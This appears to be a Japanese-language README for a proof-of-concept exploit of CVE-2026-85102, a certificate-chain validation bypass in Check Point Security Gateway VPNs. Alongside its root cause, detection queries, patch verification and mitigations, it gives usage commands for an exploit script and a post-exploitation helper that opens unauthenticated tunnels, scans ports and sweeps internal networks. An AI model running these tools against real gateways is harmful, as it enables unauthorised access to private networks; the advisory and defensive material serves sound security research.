
リモートアクセスおよびサイト間VPNにおける認証バイパスとリモートコード実行
CVE-2026-85102 を悪用し、IKE 証明書チェーンの検証をバイパスすることで、Check Point Security Gateway 上に未認証の VPN トンネルを確立します。
Check Point 公式アドバイザリ: sk1000117
製品: Check Point Security Gateway、Check Point Spark Firewall
影響を受けるバージョン: R81.20、R82、R82.10 (Bundle T24 より前)、R80-R81.10 (すべて EoS)
影響なし: R82.20
コンポーネント: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
根本原因: IsChainTrusted() は CanonizeChain() を呼び出しますが、その戻り値を無視します。チェーンの正規化が失敗した場合でも、関数は TRUSTED を返します。
悪用方法: 攻撃者は以下を実行できます:
CanonizeChain() の失敗を引き起こすCVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl、iproute2(ip コマンド)、nc(netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| パラメータ | 説明 |
|---|---|
<target_ip> | Check Point ゲートウェイの IP |
-u <username> | VPN ユーザー名(デフォルト: testuser) |
-l <local_ip> | マルチインターフェースシステム向けの手動ローカル IP |
-c <cert_host> | ICA 証明書抽出用の代替ホスト |
--cleanup | トンネル設定を削除 |
証明書ベースの Mobile Access ログインにおける異常なログを確認します。SmartConsole/Spark Management で Logs & Monitor / Logs & Events に移動し、2026年9月12日以降のイベントを検索します:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
認識されていないユーザー、クライアント、または送信元 IP アドレスのイベントを検査します。
観測された不審な証明書サブジェクト:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalLivePatch Take 26(BUNDLE_URGENT_SECURITY_UPDATE)をインストールします:
インストールを検証します:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
この修正は libcpcert.so を変更します:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
暗黙の VPN ルールを無効化し、特定のピア IP アドレスに対して UDP/500 および UDP/4500 の VPN アクセスを手動で定義してください。sk179346 を参照してください。
リモートアクセス VPN の暗黙のルールを無効化してください。必要なリモートアクセス VPN サービスをセキュリティゲートウェイに許可する明示的なアクセス制御ルールを作成してください:
注記: これらの緩和策は、ローカルで管理される Spark ファイアウォールには適用されません。
このエクスプロイトコードは、セキュリティ研究およびテスト目的で提供されています。自身のシステム上、またはシステム所有者からの明示的な許可を得た場合にのみ使用してください。